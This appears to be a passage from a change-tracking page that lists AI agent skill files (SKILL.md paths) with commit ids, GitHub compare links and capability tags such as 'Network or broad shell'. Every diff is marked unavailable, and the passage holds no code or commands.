Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cc-skill-backend-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cc-skill-clickhouse-io/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cc-skill-coding-standards/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cc-skill-continuous-learning/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cc-skill-frontend-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cc-skill-project-guidelines-example/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cc-skill-security-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cc-skill-strategic-compact/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/changelog-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cicd-automation-workflow-automate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/circleci-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/clarity-gate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/claude-ally-health/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/claude-code-guide/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/claude-d3js-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/claude-scientific-skills/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/claude-speed-reader/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/claude-win11-speckit-update-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/clean-code/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/clerk-auth/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/clickup-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/close-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cloud-architect/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cloud-penetration-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/coda-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-documentation-code-explain/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-documentation-doc-generate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-refactoring-context-restore/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-refactoring-refactor-clean/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-refactoring-tech-debt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-review-ai-ai-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-review-checklist/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-review-excellence/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/code-reviewer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/codebase-cleanup-deps-audit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/codebase-cleanup-refactor-clean/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/codebase-cleanup-tech-debt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/codex-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/commit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/competitive-landscape/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/competitor-alternatives/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/comprehensive-review-full-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/comprehensive-review-pr-enhance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/computer-use-agents/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/computer-vision-expert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/concise-planning/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/conductor-implement/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/conductor-manage/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/conductor-new-track/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/conductor-revert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/conductor-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/conductor-status/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/conductor-validator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/confluence-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/content-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/content-marketer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-compression/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-degradation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-driven-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-fundamentals/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-management-context-restore/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-management-context-save/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-manager/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-optimization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context-window-management/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/context7-auto-research/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/conversation-memory/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/convertkit-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/copilot-sdk/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/copy-editing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/copywriting/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/core-components/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cost-optimization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cpp-pro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cqrs-implementation/SKILL.md

